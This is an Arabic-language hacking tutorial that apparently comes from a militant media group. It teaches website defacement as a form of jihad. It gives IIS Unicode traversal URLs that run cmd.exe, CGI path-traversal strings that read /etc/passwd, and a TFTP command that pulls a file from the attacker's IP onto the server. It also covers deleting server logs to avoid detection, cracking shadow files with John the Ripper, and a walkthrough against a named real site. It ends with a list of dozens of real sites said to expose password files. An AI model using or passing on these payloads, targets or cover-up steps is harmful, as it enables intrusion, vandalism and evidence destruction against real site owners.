برنامج ذو شهرة عالية وفعالية كبيرة في فحص المواقع من المنافذ والثغرات ، بعد تحميل البرنامج يتم تنزيله وتشغيله ، فيطلب أن يعمل تحديث فتوافق ثم يطفى البرنامج ، وكل ما عليك هو صناعة ملف Licence.key من الكراك ووضعها في مجلد البرنامج ثم تشغيل البرنامج فيكتشف الملف ويسألك هل تريد التسجيل فتجيب بـ Done وشرح البرنامج متوفر - بفضل الله - أيضا في المرفقات ولله الحمد والمنة .

## 2 ( برنامج CGI Scanner )

برنامج متخصص في البحث عن ثغرات CGI وهو الأفضل في عمل ذلك ، والله أعلم ، وتجد البرنامج متوفرا بحمد الله في المرفقات .

## 3 ( برنامج UniScan )

تجده هنا على هذا الرابط ( وتجده أيضا في  
المرفقات المضغوطة )

<http://online.securityfocus.com/data/tools/uniscan.zip>

وهذا البرنامج كسابقه ولكن هذا البرنامج خاص  
بفحص ثغرات Unicode .

حتى هذه النقطة نكون قد انتهينا من أساليب  
اكتشاف الثغرات في المواقع والخطوة التالية الآن  
هي كيفية استغلال هذه الثغرات التي قمنا  
باكتشافها .

## طريقة تنفيذ الثغرات :

( مكان تنفيذ الثغرات :

<http://www.xxxxx.com/scripts/..&Aa....exe?/c+dir+r+c>

بعد العنوان الرئيسي دوت كوم !

وقد يتسائل البعض ما الذي يظهر أو على أي شكل  
يظهر ؟!

الحل بسيط ، وهذا الأمر لو قمت بكتابته في نافذة  
الدوس ستظهر لك الملفات Dir وطريقة ظهور  
الملفات في المتصفح تقريبا بنفس طريقة الدوس ،  
والله أعلم .

ب ) شرح الثغرات واستغلالها :

1 ) شرح ثغرة "الفرونت بيج" وكيفية استغلالها:

ثغرة "الفرونت بيج" هي ثغرة منتشرة جداً بين المواقع وتأتي عادة بهذا الشكل

[www.\\*\\*\\*\\*.com/\\_vti\\_pvt](http://www.****.com/_vti_pvt)

وهذا يعني أن الثغرة هي \_vti\_pvt ومن خلال هذه الثغرة تظهر لك ملفات الموقع "الفرونت بيج" أو المشرف .

**ملاحظة مهمة :** تنفذ الثغرة وتوجد على المواقع التي صممت بالـ "فرونت بيج" ولا تصلح لغيرها لتتعرف - حينها - كون الموقع مصمم بالـ "فرونت بيج" من موقع

<http://www.netcraft.net>

تدخل الموقع وترى أمامك مستطيل ، أدخل الموقع الذي تريد تجميع معلومات حوله ، ويهمننا ملف واحد منه فقط وغيره غالباً لا نستفيد منه شيئاً ، وهو :

service.pwd

نفتحه بالمفكرة ونرى "الباسورد" ، المشفرة ، وتكون بهذا الشكل :

-FrontPage-

Ekendall: bYld1Sr73NLKo

Louisa: 5zm94d7cdDFiQ

هنا نرى أن الموقع عليه مشرفين Ekendall و Louisa نفاك التشفير بواسطة برنامج "جون ذا ريبير" بالطبع ، وبعد فكاك التشفير نذهب للـ "فرونت بيج" " Open web ==> File ، وتضع عنوان الموقع فتظهر لك الصفحة الرئيسية فغير التي تريدها وبعدها Save or publish .

ثم يطلب منك كلمة السرّ والاسم ، والأمر سهل إن شاء الله تضع الاسم وكلمة السر وتضع Sign .

وهذا موقع للتطبيق بعون الله سبحانه :

[http://www.heyerlist.org/garderober\\_vti\\_pvt](http://www.heyerlist.org/garderober_vti_pvt)

( 2 ) شرح ثغرة الـ WWWBoard :

هي أسهل ثغرة بالإضافة إلى "الفرونت بيج" ، لنفترض أن الموقع المراد اختراقه هو <http://www.boardprep.net> ( هذا بالطبع مثال فقط والموقع لا توجد فيه الثغرة ) .

فلننصف إليه [wwwboard/passwd.txt](http://wwwboard/passwd.txt)

ليصبح العنوان :

<http://www.boardprep.net/wwwboard/passwd.txt>

تفتح العنوان سوف تجد

Cknouse: aexMVWnDOyrdE كلمة المرور:  
إسم المستخدم

أي إن اسم المستخدم cknouse

وكلمة المرور هي aexMVWnDOyrdE

قم بفك تشفيره ب"جون ذا ريبر" ، الآن عندك  
اسم المستخدم وكلمة المرور فما الحل ؟ وما  
العمل لتغيير الصفحة الرئيسية ؟!

نذهب للأف تي بي ونكتب <ftp.domen.com> .

ملاحظة إستبدل domen.com باسم الموقع  
المطلوب الذي عندك "باسورده" وضع "اليوزر  
نيم" و"الباسورد" وادخل على الموقع وأنشئ  
صفحة باسم index.html وارفعها للموقع .  
لتحميل الأف تي بي :

<http://members.home.nl/patrick.pagina/temp/Ws-ftp32.zip>

3 ) شرح ثغرة سي جي آي CGI bugs وكيفية استغلالها :

وبعضها يمكن استخدامها مباشرة من المتصفح مثل "اليوني كود" ، وبعض ثغرات "السي جي آي" ولكن بعض أو أكثر ثغرات المتصفح يتم التأكد فقط من وجودها من خلال المتصفح .

الثغرات التي يمكن استغلالها من المتصفح مباشرة مثل :

cgi-bin/passwd.txt/

إذا كان الموقع هو

[www.somesite.com](http://www.somesite.com)

فتكتب الثغرة هكذا في المتصفح

[www.somesite.com/cgi-bin/passwd.txt](http://www.somesite.com/cgi-bin/passwd.txt)

هذه الثغرة تعرض لك أسماء المستخدمين وكلمات المرور للمستخدمين للموقع مثل المدير وكل من يسمح له بدخول قاعدة بيانات الموقع .

طبعا لا تحاول تجربة هذه الثغرة الآن ! .. إلا إذا كنت تريد اختراق موقع في "زيمبابوي" نسيه أصحابه من 10 سنين ! ، حتى هذه الثغرة يمكن ألا تصلح معهم لأنها صارت معروفة .

وبخصوص استغلال العيب في ملفات Cgi & Perl للوصول إلى etc/passwd .

سنأخذ الثغرات من نوع Show Files ، وعند وجود هذا الملف ?cgi-bin/apexec.pl/ و"الباسورد" علينا استغلال هذه الثغرة للوصول إلى :

```
http://www.target.com/cgi-  
/../../../../=bin/apexe...te  
etc/resolv.conf/../../../../..  
/%00.html&passurl=/category
```

مع إمكانية تغيير path بالملف المراد ، هذا من جهة "البيرل" ونفس الكلام ينطبق على "السي جي أي" ?cgi-bin/hsx.cgi/ عند وجود هذا الملف في / ./cgi-bin

حاول تطبيق الثغرة التالية :

```
http://www.Target.com/cgi-  
bin/hsx.c..../etc/passwd%00
```

الطريقة المثلى للبحث عن هذه الملفات إما بالاختراق العشوائي أو عن طريق استخدام برنامج "سكان" للبحث عن ثغرات في الموقع ، ضع هذه الملفات ضمن لائحة الثغرات مثل cgi-bin/hsx.cgi/ وعند وجوده يتم تطبيق ثغرتة بعون الله .

4 ( شرح ثغرة "آي آي أس" IIS وكيفية استغلالها :

IIS = Internet Information Service ونستخدم  
ثغراته المعروفة باليوني كودز Unicode's وهي  
كثيرة جداً مثل:

<http://www.xxxx.com/scripts/..&Aacu...d.exe?/:c+dir+c>

<http://www.xxxx.com/scripts/..&Agra...d.exe?/:c+dir+c>

<http://www.xxxx.com/scripts/..&Agra...d.exe?/:c+dir+c>

<http://www.xxxx.com/scripts/..&Agra...d.exe?/:c+dir+c>

<http://www.xxxx.com/scripts/..&Aacu...d.exe?/:c+dir+c>

<http://www.xxxx.com/scripts/..&Aacu...d.exe?/:c+dir+c>

<http://www.xxxx.com/scripts/..&Aacu.../cmd.exe?/c+dir+c>

```
msadc/../  
%25%35%63..!..%25%35%63..!..%25%35%6  
:3../winnt/system32/cmd.exe?/c+dir+c
```

```
MSADC/..%255c..%255c..%255c../  
:%255cwinnt/system32/cmd.exe?/c+dir+c
```

طريقه استغلال ثغرات "آي آي أس" بأكثر من  
طريقة :

يتم تطبيق هذه الثغرات مباشرة من المتصفح  
مستغلين ملف الـ cmd.exe لتنفيذ أوامرنا !

مثال للثغرة وتطبيق الأوامر :

```
http://www.xxxx.com/\_vti\_bin /..%c0%af../..  
:%c0%af../winnt/system32/cmd.exe?/c+dir+c
```

أمر إنشاء دليل جديد

```
http://www.xxxx.com/_vti_bin /..%c0%af../..  
%c0%af../winnt/system32/cmd.exe?/c+md+c  
J
```

أمر إلغاء دليل

```
http://www.xxxx.com/_vti_bin /..%c0%af../..  
%c0%af../winnt/system32/cmd.exe?/c+rd+cJ
```

## الأمر المستخدم للنسخ

```
http://www.xxxx.com/_vti_bin /..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+copy+
c:winntsystem32cmd.exe+c:inetpubscriptsDJ.
exe
```

## الأمر المستخدم للحذف

```
http://www.xxxx.com/_vti_bin /..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+md+c:
inetpubwwwrootindex.asp
```

## الأمر المستخدم لتغيير مسمى الملف

```
http://www.xxxx.com/_vti_bin /..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+ren+c
J.htm+DJKING.htm
```

## الأمر المستخدم لرؤية محتويات الملف

```
http://www.xxxx.com/_vti_bin /..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+type+
c:index.htm
```

## الأمر المستخدم للكتابة داخل أي ملف

```
http://www.xxxx.com/_vti_bin /..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+echo+
HACKED+BY+DJ+KING+>+cJ.txt
```

ملاحظة : قد نحتاج إلى تغيير مسمى الدليل بحيث يكون msadc , \_vti\_bin , iisadmpwd , \_vit\_admin , scripts , samples , cgi-bin .

والآن لتغيير الصفحة الأولى لموقع ما لا بدّ من :

\* الكتابة على الصفحة الرئيسيّة مستخدمين الأمر . echo

\* برفع صفحتك الشخصيه بواسطة برنامج ال TFTP .

\* طريقة الكتابة على الملف الرئيسيّ للموقع index.htm باستخدام الأمر . echo

مبدئيًا لا بدّ من نسخ ملف cmd.exe إلى مجلد scripts بهذا الشكل على سبيل المثال:

```
http://www.xxxx.com/_vti_bin /..%c0%af../..  
%c0%af../winnt/system32/cmd.exe?/c+copy+c  
:winntsystem32cmd.exe+c:inetpubscriptsDJ.ex
```

e

وبعد أن تمّ نسخ الملف يمكن تصفح الموقع بالثغرة الجديدة

:http://www.xxx.com/scripts/DJ.exe/c+dir+c

وبعدها يمكن تنفيذ الأمر echo بالشكل التالي :

```
http://www.xxx.com/scripts/DJ.exe?/...hacker  
mail.com+>+c:inetpubwwwrootindex.htm
```

### ملاحظات مهمة :

ليس بالضرورة أن يكون "الإنديكس" الرئيسي للموقع اسمها index.htm فمن الممكن أن تكون :  
index.html , default.html , default.htm ,  
default.asp فعليك التأكد أولاً من اسم الملف  
ولكن index.htm هو الافتراضي بأن يكون الرئيسي  
وممكن أن يكون الملف الرئيسي في مجلد غير ال  
wwwroot لذا فلا بد من البحث ! .

### طريقة استخدام رفع الصفحة بواسطة

#### برنامج TFTP :

ملاحظة : البرنامج موجود في المرفقات  
المضغوطة بفضل الله

سيتم تطبيقها أيضاً في الثغرة التي تم افتراضها  
أعلاه ، حمل برنامج ال FTP فهو صغير ومجاني  
وضعه في ال C: ، ضع "الإنديكس" أو صفحتك  
المراد رفعها في ال C: أيضاً ، شغل البرنامج و  
اجعله جاهزاً ثم نفذ الأمر التالي :

```
http://www.xxxx.com/_vti_bin /..%c0%af../..  
%c0%af../winnt/system32/cmd.exe?/c+tftp.ex  
e+ "-
```

i"+y.y.y.y+GET+index.htm+C:inetpubwwwroot  
index.htm

بحيث tftp.exe هو البرنامج المستخدم للرفع  
"-i" براميتري

y.y.y.y رقم "الآي بي" الخاص بك  
والباقي على ما أظن لا يحتاج توضيح .

C: inetpubwwwrootindex.htm هو الوضع  
الافتراضي كما ذكرت ، لكن من الممكن أن يختلف  
من موقع لآخر فلا بدّ من التأكد أولاً.

وأخيراً لمسح "اللوغ"

http://www.xxxx.com/\_vti\_bin /..%c0%af../..  
%c0%af../winnt/system32/cmd.exe?/c+del+c:  
/winnt/system32/logfiles/\*.log

هذا تقريباً كلّ ما يخصّ "سيرفرات" الويندوز و ال  
IIS ، أما بالنسبة للمواقع التي سيرفراتها على سبيل  
المثال Apache on Linux : فطريقة التفكير ستتغير  
كلياً ما خلا الاختراق عن طريق ال ftp server ،  
فمعظم نسخ ال ftp لها ثغرات يمكن استغلالها.

5 ) شرح ثغرة "اليوني كود" وكيفية استغلالها :

أولاً : ثغرات "اليوني كود" :

## UNICODE - Internet Information Service IIS4 - IIS5

"اليوني كود" : نظام خدمة المعلومات للإنترنت ،  
الإصدار الرابع – أو الخامس .

تعريف بالـ "يوني كود" : اليونيكود عبارة عن  
مجموعة من الثغرات في مجموعة خدمة المعلومات  
التي ركبت مع IIS4.0/IIS5.0 والذي يأتي عادة مع  
. NT4/Win2k

كيفية إيجاد هذه الثغرات :

يتم إيجاد هذه الثغرات بطريقتين :

الأولى : بواسطة البرامج اللازمة والمخصصة لكشف  
هذه الثغرات ، سواء بالبرامج التي تعمل على نظام  
"ويندوز" أو بطريقة "الشيل" والتي تعمل على نظام  
لينوكس .

الثانية : بواسطة تطبيق الثغرة على الموقع مباشرة  
.

كيف يتم استغلال ثغرات "اليوني كود" :

عند تطبيق الثغرة على نظام الـ IIS4/IIS5 يبدأ ملف  
CMD بفك شفرة "اليوني كود" في المثال الخطأ  
ومن هنا يتم استغلالها .

## الأوامر المستخدمة بواسطة ملف CMD :

وهي أمر لإنشاء دليل جديد وأمر لإلغاء دليل وأمر النسخ وأمر النقل وأمر الحذف وأمر تغيير أسماء الملفات وأمر لرؤية محتويات الملف وأمر الكتابة داخل أي ملف وأمر لسحب أي ملف ، وهي حسب الأمثلة التالية :

الطريقة الأولى بالتعامل مع الملف ssinc.dll  
والطريقة كما يلي :

أولا إنشاء صفحة باسم test.shtml تكون هذه الصفحة داخل مجلد `wwwroot/hEx/test.shtml` ، كتابة هذا "الكود" داخل الصفحة بحيث أن حرف A يتم كتابته حتى يتعدى 2049 حرف ، الآن يتم طلب الصفحة من خلال المتصفح

<http://www.xxxx.com/test.shtml> ، الآن سوف تظهر لك الصفحة ، والآن تستطيع الكتابة وتم تخطي مشكلة ال Access Denied ، إذا ظهرت لك صفحة الخطأ رقم 500 فمعنى ذلك أنك لم تقم بتطبيق الطريقة بالشكل الصحيح وعليك إعادة المحاولة .

الطريقة الثانية باستخدام برنامج NC.exe بحيث يتم عمل "أب لوود" لهذا الملف داخل مجلد ال Temp في دليل "الويندوز" ، ومنه يتم تنفيذ الأوامر من خلال موجه "الدوس" وللعلم فإن مجلد ال Temp مفتوح لعمليات "الأب لوود" .

الطريقة الثالثة وهي من خلال عمل "كراش" للسيرفر باستخدام البرامج اللازمة لهذا الغرض وهذه الطريقة غير مجدية في كثير من الاحيان .

الطريقة الرابعة البحث عن ملفات ، root.exe ، sensepost.exe ، shell.exe ، w3svc.exe ونسخها إلى مجلد c:\inetpub\scripts وتطبيق الثغرة من خلالها .

## حتى هنا نكون قد شرحنا وبالأمثلة كيفية اختراق المواقع عن طريق استغلال الثغرات التي بها .

ولكن هناك ثغرات في الأنظمة قد تؤدي بنا إلى الحصول على ملف "الباسورد" للنظام ، وإذا استطعنا الحصول عليه وفك تشفيره عندها يصبح النظام بالكامل خاضع لنا وكل المواقع التي على السيرفر بإمكاننا التحكم فيها كيفما نشاء وهو ما سيتم شرحه في هذا القسم التالي بعون الله .

## ملفات "الباسورد" وكيفية التعامل معها

قبل البدء بهذا القسم عليك - غير مأمور - مراجعة شرح ملف "الباسورد" من القسم الأول الذي هو أساسيات وتعريف .

إذا كان ملف password مظلل ماذا تفعل ؟ الآن جميع ملفات password تكون مظللة ولكن توجد طريقة لفكها !

إذا وجدت الملف مظلّل يجب عليك البحث عن ملف "الشادوو" shadow .

ما هي أماكن تواجد ملف shadow في الأنظمة ؟  
وهذا الملف يوجد في أمكنة معينة وكل نظام تشغيل له مكان يوضع به هذا الملف ، إليك الجدول التالي :

\* = Linux: /etc/shadow token

= SunOS: /etc/shadow token يأخذ أشكال

متعدده اشهرها هو \*

FreeBSD: /etc/master. Passwd or /etc/shadow

\* = token

والجديد هو x

IRIX: /etc/shadow token = x

! = AIX: /etc/security/passwd token

ConvexOS : /etc/shadow or /etc/shadpw token

\* =

Token تعني الرمز الذي يوجد في الملف passwd وهذا يفيد في تسهيل المهمة ، يعني لو مثلا لقيت علامة! بدل كلمة المرور فهذا يعني أن كلمة المرور مسجلة في /etc/security/passwd/ ، لقد استعنت بالجدول السابق ذكره ، مثال على ملف "شادوو" ( ملف "شادوو" هو الملف الذي تخزن فيه كلمة المرور الصحيحة ).

ملف "الشادوو" تكون الكلام الذي فيه مشفر  
الخطوة الأخيرة وهي دمج ملف

shadow & password ، أنصحك في دمج ملف "الشادوو" مع ملف "الباسورد" بكتابة هذا الأمر في برنامج "جون ذا ريبير" وهذه وصلة البرنامج وتجده أيضا في المرفقات المضغوطة بفضل الله .

<http://www.openwall.com/john>

أنبه أولا من أن البرنامج مخصص لفك تشفير الملفات المشفرة ولكن يوجد في أمر لدمج ملف "الشادوو" مع ملف "الباسورد" ، وذلك لضمان عدم وقوع أخطاء عند الدمج ، الأمر هو

unshadow passwd.txt shadow.txt

إذا لم تنجح العملية وتريد تطبيقها يدويا فهي سهلة ولكن لضمان عدم وقوع أخطاء عند الدمج فقط قم بتبديل علامة x التي تكون في ملف "الباسورد" بـ اللام الموجود بدلا عنها في ملف "الشادوو" تطبق العملية في كل علامة x تكون في ملف "الباسورد" .

بعد دمج الملفين تصبح الأمور جاهزة لتشغيل برنامج John the ripper والذي سيقوم بتخمين "الباسورد" بسرعة عالية جداً ولكن عليك الصبر فهذه العملية قد تأخذ أيام ! في بعض الأحيان ( انتظر الشرح في آخر المقالة ) .

حسنا لو افترضنا أننا استطعنا الحصول على  
"الباسورد" الحقيقي ما هي الخطوة القادمة؟!

**كيفية استغلال "الباسورد":** يمكنك استغلال  
"باسورد" الموقع في "التيل-نت" ، تدخل من  
"التيل - نت" وتفعل ما تريد  
أو أنك تدخل من "الأف تي بي" وهو الأسهل  
والمنتشر .

كيفية الدخول بال ftp ؟ ، يمكنك استخدام أحد برامج  
ال ftp منها :

Ws\_ftp أو CuteFTP 4.2.5 Build 10.4.1

الآن نحن بحول الله اخترقنا موقع ونريد تغيير صفحة  
البداية ونكتب مثلا " تم اختراق هذا الموقع ! " كيف  
يتم ذلك ؟

تستطيع تغيير الصفحة الرئيسية عندما يكون  
"الباسورد" التابع للموقع موجود عندك ، وبعدها  
تدخل عليه ، ثم تذهب لملف index افتحه أو قم  
بالغاءه وضع ملف بنفس الاسم بالأمر التي نريدها  
بواسطة برنامج يسمى Cute FTP WS\_FTP PRO  
والبرنامج سهل إن شاء الله .

وبإمكانك أيضا أن تحاول الدخول للوحة التحكم ،  
معظم المواقع تكون لوحة تحكمها على الشكل  
[www.sitename.com:2082](http://www.sitename.com:2082) أو  
[www.sitename.com/cpanel](http://www.sitename.com/cpanel) ، هذا في حال كون

الموقع يستخدم الـ CPanel وهو البرنامج الأكثر شيوعاً ، ومن ثم تظهر لك نافذة اكتب فيها اسم المستخدم وكلمة السر ، وتصيح في الداخل بإذن الله .

و هنا شرح للعملية كمثال عبر برنامج TFTP ؛

### تغيير الصفحة الرئيسية للموقع وعملية "الأب لوود" بواسطة برنامج TFTP :

قم بإنشاء صفحة وضع شعارك عليها واحفظها باسم index.htm على الـ c:\ ، قم بتشغيل برنامج TFTP ونفذ الأمر في الفقرة التالية :

```
c:\tftp.exe "-i" 1.1.1.1 GET index.htm
C:\inetpub\wwwroot\index.htm
```

والتفصيل هنا كالتالي :

TFTP وهو البرنامج اللازم لعمل "الأب لوود" ، ويجب أن يكون شغال في حالة تنفيذ الأمر.

"-i" وهو بمثابة "باراميترز" من أجل قراءة البيانات في مكتبة الملفات.

1.1.1.1 رقم "الآي بي" الخاص بك .

GET وهو الأمر اللازم لطلب الملفات ما بين الإرسال والاستقبال.

Index.htm اسم الملف في جهازك.

\inetpub\wwwroot\ اسم الدليل في "السيرفر".

Index.htm اسم الملف على "السيرفر".

بقيت هناك خطوة مهمة عند اختراق أي موقع ألا وهي إخفاء أثارك بعد الاختراق ، حتى لا يعرفنا صاحب الموقع فيؤذينا أو يبلغ عنا ، فكيف ذلك ؟

نكتب هذا الأمر في "الدوس"

c:\ del c:/winnt/system32/logfiles/\*.log

أو نذهب إلى الـ c: وبعدها إلى ملف windows ومن ثم ملف System32 ، وبعدها نقوم بمحي ومسح أي ملف ينتهي بـ log .

بقي علينا الآن أن نضيف نقطة قد تنفع بعض الإخوة في التدريب على "اليونكس" و الاختراق ألا وهي كيفية الحصول على "شيل أكاونت" مجاني وهي تتم عبر الآتي :

وتنقسم "الشيل أكاونتس" إلى نوعين :

restricted (1

non-restricted (2

والفرق بينهما أن restricted مدفوع القيمة ويمكنك من تنفيذ أي command أما ال non-restricted فهو مجاني لكن مشكلته أنه لا يمكنك من تنفيذ كل الأوامر !

لكي تحصل على "شيل أكاونت" مجانا يمكنك الحصول عليه من أي مزود "شيل أكاونتس" على الشبكة مثل : [www.cyberarmy.net](http://www.cyberarmy.net)

أو اتصل بمزود الخدمة واطلب منه "شيل أكاونت" ، طبعاً سيسألك لماذا تريد "الشيل أكاونت" فتجيبه بأنك تريد استخدامه للتدرب على نظام "اللينوكس واليونكس" فيما بعد ! ، وهذه الإجابة كافية لكي يعطيك "شيل أكاونت" ، و"الشيل أكاونتس" مختلفة وتتميز فيما بينها بالتالي :

- 1) telnet .
- 2) nslookup والذي يعطيك معلومات عن المضيف .
- 3) ftp .
- 4) finger .
- 5) trace route .
- 6) dig وهذا الأمر غير متاح - غالباً - في معظم "الشيلز" المجانية .
- 7) netstat .
- 8) gcc وهذا "كومبايلير" للغة البرمجة C .
- 9) gzip لفك ضغط الملفات .
- 10) lynx متصفح للإنترنت .

## مختصر شرح البرامج المستخدمة :

شرح برنامج "جون ذا ريبير" : ضع البرنامج في السي ، وملاحظة : احفظ الباسوورد في نفس ملف البرنامج في ملف txt وتسميه password ، لأجل التماشي مع الشرح .

أما عن كيفية تشغيل البرنامج ؟ فالبرنامج يعمل على "الدوس" ، فادخل على "الدوس" واكتب cd .. حتى يصبح شكله هكذا c:> ثم اكتب john ، والآن تنقصك أوامر البرنامج فما هي ؟

1 ( أمر يبحث لك عن الكلمات المحتملة من خلال قوائم بكلمات السر وصيغته كالتالي : john -w:wordlist.txt password.txt

ملف wordlist هي كلمات السر المحتملة و password كلمة السر المشفرة رغم أنني لا أنصح بهذا الاختيار والله أعلم .

2 ( أمر يبحث لك عن كلمات السر التي تكون مطابقة لاسم المستخدم وصيغته : john -single: passwd.txt .

3 ( أمر يبحث لك عن الأرقام فقط وصيغته : john -iD:igits passwd.txt .

4 ) أمر يبحث عن الحروف الصغيرة john -i:Alpha: passwd.txt .

5 ) أمر يبحث لك عن جميع الاحتمالات الممكنة وصيغته john -i:all passwd.txt ، هذا الخيار فيما إذا فشلت فيها كلها ، لأنه طويل ولكنه أفضل اختيار والله أعلم .

حسنا قمت أنا واخترت آخر خيار وبدأ البرنامج يعمل لمدة ساعة مثلا ، ولم يحدث أي شيء ! ، ولست متفرغا لأترك الجهاز يعمل لوحده فما العمل ؟ !  
عندي الحل : اضغط على "كونترول" + "شيفت" + "سي" أو "كونترول" + "سي" ctrl+shift+c .  
ctrl+c .

فكيف أكمل ؟! ، اكتب john-restore وهو يكمل .

الآن كمثال فلنحاول - مستعنيين بالله - اختراق موقع ما ! ، أول ما يجب علينا البدء به هو المواقع العادية وليس مواقع وواجهات للاستخبارات الصليبية كالياهو مثلا ! ، لأن اختراق المواقع العادية سهل جدا بعون الله ، فلا تتقاعس أخي عن الجهاد الذي قد ساقه الله لك ودع القول ولنبدأ العمل !

البرامج اللازمة : John the ripper و WS\_FTP pro وكلاهما موجود في المرفقات المضغوطة بفضل الله سبحانه وحده .

بسم الله نبدأ :

الآن نعطيكم موقع فيه ثغرة ونحاول تنفيذها وهو :

<http://www.dsg-art.com> (هذا الموقع مثال فقط  
والثغرة على ما يبدو ليست فيه الآن)

هذا الموقع مصاب بثغرة ملف "الباسورد" التي هي :

[wwwboard/passwd.txt](http://wwwboard/passwd.txt)

الآن ننفذ الثغرة

<http://www.dsg-art.com/wwwboard/passwd.txt>

من أجل أن يظهر لنا "اليوزر نيم" و "الباسورد"  
كالتالي : jc:GXQ4cN0fhbptw

jc "اليوزر نيم" ، وما يليه GXQ4cN0fhbptw  
"الباسورد" ؛ هذا "الباسورد" كما هو ظاهر  
ومعلوم مشفر فكيف يتم فك تشفيره للحصول على  
"الباسورد" الأصلي؟!

طبعا ببرنامج "جون ذا ريبير" السابق ذكره وشرحه  
أعلاه .

**حسنا الآن قمنا بفك التشفير وصار عندنا  
"اليوزر نيم" و "الباسورد" للموقع ، إذن  
مبارك عليكم - بفضل الله - تمت عملية  
الاختراق .**

الآن نريد كتابة " لا إله إلا الله محمد رسول الله ، تم  
الاختراق بواسطة كتبية الجهاد الإعلامي ، ولله العزة  
ولرسوله وللمؤمنين " مثلا فكيف يتم ذلك ؟!

طبعا يتم ذلك ببرنامج "الأف تي بي" WS\_FTP  
. PRO

حسنا الآن نضع "اليوزر نيم" و "الباسورد" في  
البرنامج وندخل على "الريموت" التابع للموقع  
المراد ؛ وإذا أردت تدمير الموقع تقوم مستعينا بالله  
بعملية مسح للملفات .  
يوجد فيما بين الملفات ملف يسمى index.html ،  
هذا كما أسلفنا ملف الصفحة الرئيسية للموقع ، الآن  
نحن بالطبع قد قمنا بتجهيز الملف المعتمد والذي  
فيه " لا إله إلا الله محمد رسول الله ، تم الاختراق  
بواسطة كتبية الجهاد الإعلامي ، ولله العزة ولرسوله  
وللمؤمنين " من قبل ، والآن نقوم بمسح ومحي  
وحذف الملف "إنديكس" التابع للموقع ، ونقوم  
بإدخال ملفنا المعد سلفا من جهازنا بعد اختيار  
وتحديد مكانه على الجهاز بعون الله .

الآن أبشر واستبشر وبشّر من خلفك ، تم اختراق  
الموقع - بعون الله - وترك رسالة لصاحبه " تم  
اختراق الموقع ! " .

وكما أسلفنا من أجل عدم معرفة صاحب الموقع  
هوية صاحب الاختراق نذهب ونمسح ملفات "اللوغ"  
التي تم شرحها أعلاه بحمد الله ، والآن بإمكان أيا

كان قرأ ما جاء أعلاه اختراق المواقع العادية  
والمواقع ضعيفة التحصين بحول الله وقته .

وفي النهاية هذا جدول لمواقع قابلة للاختراق مع  
أنواع الثغرات المختلفة مع التأكيد على أنه ليس  
بالضرورة أن تكون جميع الثغرات موجودة وتعمل  
الآن في المواقع عند قراءتكم للموضوع دام فضلكم

## مواقع فيها ثغرات

<http://www.efn.org/~dalep/wwwboard/passwd.txt>

<http://www.lionnet.org.tr/118u/wwwboard/passwd.txt>

<http://members.mint.net/raske/wwwboard/passwd.txt>

<http://www.avatar-moving.com/kb/wwwboard/passwd.txt>

<http://espa.virtualave.net/wwwboard/passwd.txt>

[http://mulerider.saumag.edu/wwwboard-passwd.txt](http://mulerider.saumag.edu/wwwboard/passwd.txt)

<http://www.kcftoa.org/hazmat/wwwboard/passwd.txt>

<http://www.go-steeltown.com/classif...oard/passwd.txt>

<http://www.creative-design.de/kmt/wwwboard/passwd.txt>

<http://www.kaapeli.fi/~hekata/wwwboard/passwd.txt>

<http://www.go-steeltown.com/invitat...oard/passwd.txt>

<http://www.ica1.uni-stuttgart.de/~k...oard/passwd.txt>

<http://sitemanager.hypermart.net/wwwboard/passwd.txt>

<http://cgi.snafu.de/utimper/user-cg...oard/passwd.txt>

<http://www.foxsden.org/psf/FFE/wwwboard/passwd.txt>

<http://expert.cc.purdue.edu/~pumsan/wwwboard/passwd.txt>

<http://www.cabinessence.com/brian/s...oard/passwd.txt>

<http://wrm.hre.ntou.edu.tw/wrm/wwwboard/passwd.txt>

<http://www.radiocollege.org/rc/wwwboard/passwd.txt>

<http://www.student.utwente.nl/~here...oard/passwd.txt>

<http://www.as.ua.edu/arcca/wwwboard/passwd.txt>

<http://students.cs.byu.edu/~quixote/wwwboard/passwd.txt>

<http://lrf1.unizar.es/~martin/panze...oard/passwd.txt>

<http://www.netset.com/~jdennis/wwwboard/passwd.txt>

<http://www.rit.edu/~jrd4663/cgi-bin/wwwboard/passwd.txt>

<http://www.i-55.com/andersoninc/wwwboard/passwd.txt>

<http://www.volker.de/deutsch/kontak...oard/passwd.txt>

<http://www.ug.cs.sunysb.edu/~boehme...oard/passwd.txt>

<http://www.cjns.com/cyb/cyberair/wwwboard/passwd.txt>

<http://www.cabling-design.com/inter...oard/passwd.txt>

<http://www.educanet.net/privado/con...oard/passwd.txt>

[http://www.zetor.org/scifi/public\\_h...oard/passwd.txt](http://www.zetor.org/scifi/public_h...oard/passwd.txt)

<http://www.nwlink.com/~nickguy/wwwboard/passwd.txt>

<http://www.dj-pool.de/PoolDeutsch/p...oard/passwd.txt>

<http://gladstone.uoregon.edu/~solsh...oard/passwd.txt>

<http://ftp.duth.gr/pub/netlib/utk/wwwboard/passwd.txt>

<http://www.freelance-street.co.uk/wwwboard/passwd.txt>

<http://gaia.ecs.csus.edu/~brookd/wwwboard/passwd.txt>

<http://gaia.ecs.csus.edu/~brookd/wwwboard/passwd.txt>

<http://www.arts.cuhk.edu.hk/~cmc/in...oard/passwd.txt>

<http://www.clearlight.com/~brawicz/wwwboard/passwd.txt>

<http://www.yellowstone-natl-park.co...oard/passwd.txt>

<http://www.mtsu.edu/~ccurry/sets/ex...oard/passwd.txt>

<http://www.kaibutsu-thx.com/cx/htm/wwwboard/passwd.txt>

<http://www.kidlink.org/KIDPROJ/Brid...oard/passwd.txt>

<http://www.markoschulz.de/scripte/f...oard/passwd.txt>

<http://crux.baker.edu/myeake01/wwwboard/passwd.txt>

<http://207.65.96.29/users/akira/wwwboard/passwd.txt>

<http://hkbne.virtualave.net/wwwboard/password.txt>

<http://gybe.com/boggy/swallowtails/wwwboard/passwd.txt>

<http://gazissax.best.vwh.net/alsira...oard/passwd.txt>

<http://www.deltakappagamma.org/Inte...oard/passwd.txt>

<http://pepup.hypermart.net/wwwboard/passwd.txt>

<http://www.utexas.edu/depts/asih/wwwboard/passwd.txt>

<http://hemi.ps.tsoa.nyu.edu/webchat/passwd.txt>

<http://www.stenum.at/euinfo/passwd.txt>

<http://www.mexconnect.com/liveboard/passwd.txt>

<http://www.doc.ic.ac.uk/~ipa98/jondon/passwd.txt>

